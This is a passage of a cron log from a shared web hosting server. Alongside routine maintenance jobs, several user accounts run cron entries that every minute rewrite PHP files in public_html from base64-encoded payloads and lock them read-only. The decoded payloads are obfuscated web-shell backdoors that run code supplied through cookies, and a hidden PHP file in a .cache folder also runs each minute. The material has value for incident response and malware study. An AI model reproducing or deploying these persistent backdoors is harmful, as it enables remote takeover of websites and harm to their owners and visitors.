eVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:09:01 medusa CROND[26889]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:09:01 medusa CROND[26890]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:09:01 medusa CROND[26892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:09:01 medusa CROND[26895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:09:01 medusa CROND[26897]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:09:01 medusa CROND[26899]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:09:01 medusa CROND[26894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:10:01 medusa CROND[28575]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:10:01 medusa CROND[28580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 15:10:01 medusa CROND[28584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:10:01 medusa CROND[28588]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:10:01 medusa CROND[28589]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28591]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:10:01 medusa CROND[28596]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:10:01 medusa CROND[28624]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28623]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:10:01 medusa CROND[28615]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:10:01 medusa CROND[28625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:10:01 medusa CROND[28628]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:10:01 medusa CROND[28646]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 15:10:01 medusa CROND[28681]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28682]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 15:10:01 medusa CROND[28716]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:10:01 medusa CROND[28717]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28722]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:10:01 medusa CROND[28725]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:10:01 medusa CROND[28726]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:10:01 medusa CROND[28739]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:10:01 medusa CROND[28740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:10:01 medusa CROND[28742]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:10:01 medusa CROND[28747]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:10:01 medusa CROND[28748]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:11:01 medusa CROND[30365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:11:01 medusa CROND[30374]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:11:01 medusa CROND[30373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:11:01 medusa CROND[30375]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:11:01 medusa CROND[30376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:11:01 medusa CROND[30379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:11:01 medusa CROND[30377]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:11:01 medusa CROND[30382]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:11:01 medusa CROND[30384]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:11:01 medusa CROND[30386]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:11:01 medusa CROND[30390]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgP